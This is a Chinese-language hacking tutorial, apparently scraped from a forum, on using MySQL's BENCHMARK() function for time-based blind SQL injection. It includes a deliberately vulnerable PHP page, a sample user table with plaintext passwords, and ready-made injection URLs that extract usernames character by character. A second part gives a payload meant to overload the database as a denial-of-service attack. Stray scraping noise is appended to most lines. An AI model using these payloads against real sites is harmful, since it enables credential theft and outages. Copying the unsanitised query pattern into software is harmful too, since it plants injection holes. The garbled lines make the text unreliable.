MYSQL中BENCHMARK函数的利用
. t; s6 p# P) Y+ O9 P+ I本文作者:SuperHei9 g% ~) H, v; Y% R s
文章性质:原创7 Y, q5 R" r. G Z. C& g l# }
发布日期:2005-01-02. A, O" x3 c" v1 H
完成日期:2004-07-09 , ~' S) H7 v% D0 g( R+ ]. b+ Q8 `
第一部
" G8 f' x3 Q7 [2 W; A1 b+ j$ r3 l2 g! {+ A+ y, {
利用时间推延进行注射---BENCHMARK函数在注射中的利用
- j( v/ h! T; r0 u3 U% M8 y. u+ A( v( Z5 h! i
一.前言/思路, Z+ {8 P1 b* |) ^
( f1 q( E' V& u0 W/ q
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。9 Q2 L# W- S! {* Y
1 T2 c# t& Z( z. r- ?4 E: H7 ~8 I 本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
7 s4 f B( m0 u/ q0 B9 r M1 C# ~9 t. s7 n1 m
二.关于BENCHMARK函数
/ h7 g$ c( z+ Y# f& }2 G# {$ h* Q' N3 }7 `, {
在MySQL参考手册里可以看到如下描叙:
( |: Y% E' ?$ W) u- I* Q( r% ?
6 J* J! m( n: G/ Z; m" p E% x' R9 {: K
--------------------------------------------------------------------------------& @* {& L: _1 j$ Q1 A
% Y7 j5 f: i+ K& EBENCHMARK(count,expr)
! N) o; F+ T( B( Q+ X; mBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
* K0 F* G' R. w9 U T) nmysql> select BENCHMARK(1000000,encode("hello","goodbye"));
U7 P; [( w* b7 T0 l& r" u+----------------------------------------------+ / A# B; H( X D, C
| BENCHMARK(1000000,encode("hello","goodbye")) |
, W; A- a/ z, D% m& Q; n+----------------------------------------------+ 3 H6 ^, g/ C' P! t
| 0 |
) ^- d: J x1 o- I' W. {+----------------------------------------------+
% T4 x" u) n: e# M* B' W3 \8 d1 row in set (4.74 sec) + W8 v' d4 K$ s2 e: p/ y
& i ]! e+ r$ K4 N! Q3 _
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
3 c2 }' e- k& _4 D4 U' S9 y, g8 T/ T N5 X# T
1 r4 E3 e1 T- }
--------------------------------------------------------------------------------9 S3 u* F. L! k5 E
4 L- |5 e0 U- K' b) j 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: 3 W2 ?9 M5 z+ h) _# Q
; |0 S; `6 D: p8 b$ K' v
mysql> select md5( 'test' );
0 w. |* R+ x* `6 H3 T* c+----------------------------------+
& p0 c# i% A' O1 R* H7 u7 v| md5( 'test' ) | 2 j9 F6 J$ x5 O- A
+----------------------------------+ * W* a; ^) Y. K1 l
| 098f6bcd4621d373cade4e832627b4f6 |
* x j T0 ]" s3 Y+----------------------------------+
s+ k0 d% P) x. r+ _, U1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec 9 o6 M7 X3 A7 e1 h6 P, h; y7 ~) B- w
' X3 k) J2 u7 [9 d. {: mmysql> select benchmark( 500000, md5( 'test' ) );
$ ~: R K" h# a. Y- U6 R+------------------------------------+
; o8 T) H* @! X0 a( ^2 @! v o| benchmark( 500000, md5( 'test' ) ) | / H. G$ Y7 ?) g: C; K
+------------------------------------+
9 b* _1 t2 W3 L$ O' Q| 0 |
6 N d) S1 _7 L) `1 ?3 H+------------------------------------+ + T; f& t1 C2 U* q0 i
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
1 N/ A6 K+ l- p# A, ?
5 [7 V2 t8 Q5 X; |8 q @; m$ n2 J* t! N& t" x/ X
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
s. `7 T+ @# a- D
/ l. P# ^. F3 C三.具体例子
( j# R* {5 o N+ y: ~1 i m3 L9 H" Z2 J! M \/ L2 {! J* }
首先我们看个简单的php代码:. `2 ?, a" N/ J
. _5 K$ {* L, t. H: N% {
< ?php
1 a! V1 ^9 o2 X6 I5 c# H$servername = "localhost";
3 W: k. G- B2 M, f$dbusername = "root"; " ~: q! [( Y- H; [! }9 l
$dbpassword = "";
, i Q, M/ ]2 M2 _$ d* P$dbname = "injection";
& F H1 u6 V: y& H/ c. P% [" i9 `$ @
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); ( m" X% v6 k1 z+ i! O6 D3 G" [: g
- E: X6 ^8 a8 G$sql = "SELECT * FROM article WHERE articleid=$id";
2 B9 n2 P' P4 ]6 o0 u$result = mysql_db_query($dbname,$sql);
4 `5 u( w1 i- y" x$row = mysql_fetch_array($result);
2 G7 P5 Q. {. k3 O; D/ O! z4 |7 `1 D% J
if (!$row) 1 j b$ T1 Y% s3 X
{
- `, }* M' V2 o. Wexit; " Q3 y4 Z* G5 D
} 8 ^, e5 `$ f. `8 @ X* Q T% w
?>% J. x0 a/ r. L3 A8 i
6 A. T& n. t" G9 s. f2 J% |4 X c" h
数据库injection结构和内容如下:/ Z- L/ d, ^" U
" h5 s0 ]8 Z a
# 数据库 : `injection` 2 q% F, Z9 ]- ^0 }! g
#
1 E6 z+ N2 O8 l& l* Y" y8 {! y' ]! W7 H% m; P' D
# -------------------------------------------------------- 2 o5 K& S& `# w0 ]" [5 ], b
7 T6 X3 ?- S! M) @' `4 {) @7 o
# & L7 K7 G* b" m, |
# 表的结构 `article` $ l( W( `3 `0 m. o, E" `& ?5 Q$ e
# # y: A) {5 q& Y. ~2 w) v
. v7 O/ k) t6 A4 K1 f. s3 ?
CREATE TABLE `article` (
- b- f' F, B: C4 b`articleid` int(11) NOT NULL auto_increment,
4 W# P7 Y$ f& }7 ~`title` varchar(100) NOT NULL default '', 3 B: Q& H# m0 \/ R! Q$ Z, Y) W
`content` text NOT NULL,
2 Q$ y& y; Q! h- QPRIMARY KEY (`articleid`)
; z$ Q, N1 ?$ q2 y- O' K- M$ `) TYPE=MyISAM AUTO_INCREMENT=3 ; + y0 B9 x5 r: V2 {# \, i1 X
4 r+ n" x8 {4 }; l, Z z4 D0 Q x" v#
: F( I- h, Q+ X! ^7 `" U# 导出表中的数据 `article`
2 b2 o' @' Q' f- a" g# ; }5 { `7 k$ s6 a! N
5 W+ l: ]7 h- ^( m) u# s' t# u# q9 MINSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
% E) ` ~6 n$ D- ]# ?: y4 H& v6 P, UINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); $ R0 z" ?" x8 B
' O( s1 }* a3 B% M
# --------------------------------------------------------
; k& H; h; I/ b. i! ~" v" l8 t1 H4 ?
# " W. o- k/ _6 E4 ^# [3 W: [3 ]
# 表的结构 `user` 0 Q7 | P5 A) ^8 |6 ^ v8 I" L( Z
# 6 C% Q- P, H# P
: b' X/ G |% h- g& y& _: M
CREATE TABLE `user` ( 9 ]! V- P! r' `* X$ e8 E0 j+ @% M
`userid` int(11) NOT NULL auto_increment,
1 @$ F$ a. L% ?* x2 q' H# G`username` varchar(20) NOT NULL default '', ! o6 y9 l; [# A% A" U% ?0 Y
`password` varchar(20) NOT NULL default '', " X( q) y6 R4 R0 P5 p, d; f
PRIMARY KEY (`userid`) ( v. O \8 v4 f
) TYPE=MyISAM AUTO_INCREMENT=3 ; 6 [( X5 g$ u$ k9 I6 H) a6 q$ M
3 x+ l0 n' Z$ i1 ]1 _5 r# % @3 S+ l) R* F* \1 ]
# 导出表中的数据 `user`
% V, A }$ N% M9 ]3 w1 M#
3 U# I! s$ C3 g$ T: N/ U9 i2 j/ D% t v& c; w8 R
INSERT INTO `user` VALUES (1, 'angel', 'mypass'); 5 j. ~2 H, S- p2 }, N
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
6 y) v' h7 l, k2 n. b
$ j* ^ P1 Q3 O- ~4 F/ F, y% w1 T0 P: q
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
3 t" _1 h, b+ [+ b) V# `, J9 r% L- L: r# g: A3 f8 F* h5 J
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*9 c8 o& e- [, c& y/ p
I8 w4 a. H: d+ q( a
& j; o8 A8 Z) J; V 上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:: j9 G% f4 P+ [! @6 b3 H2 M
0 o& ]! i* g$ f3 J& O+ x' Q
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
, o; m2 x; }2 w/ \* ?
! H. y. Y0 t9 N' G+ o6 b7 ? M3 {2 P+ L D
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
2 p& B$ [! }, Y" ~
. R7 e. z) X+ ~ 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 ) a$ k: g' S' @+ W5 a2 x
, w/ Y2 s; t! E/ n8 c/ P$ O
第二部
2 X4 m% S) K2 v/ S. \
- l! i/ A5 R0 V8 _0 n; Y K0 L, b& p利用BENCHMARK函数进行ddos攻击
2 Y& p+ ?/ D0 X0 Q
) G; i }5 s0 y1 Y+ k 其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
4 L" [6 ~ A" Q* n; q5 }! F
' C3 U6 V* `2 S- K5 ]7 K C9 }9 dhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
) ]; d2 V& b, W' }( Q 7 x: P- h- {% e( D7 d; [! S1 q3 d
9 S+ r( t" r1 k- g
小结
: T; l5 C. p: y0 n4 b3 I8 ]: I3 i# h3 n' n
本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。5 F3 E" C& W( u$ B
! {3 V4 Z: M* z: s) h* i
* g0 [; M& A# O& H, W
|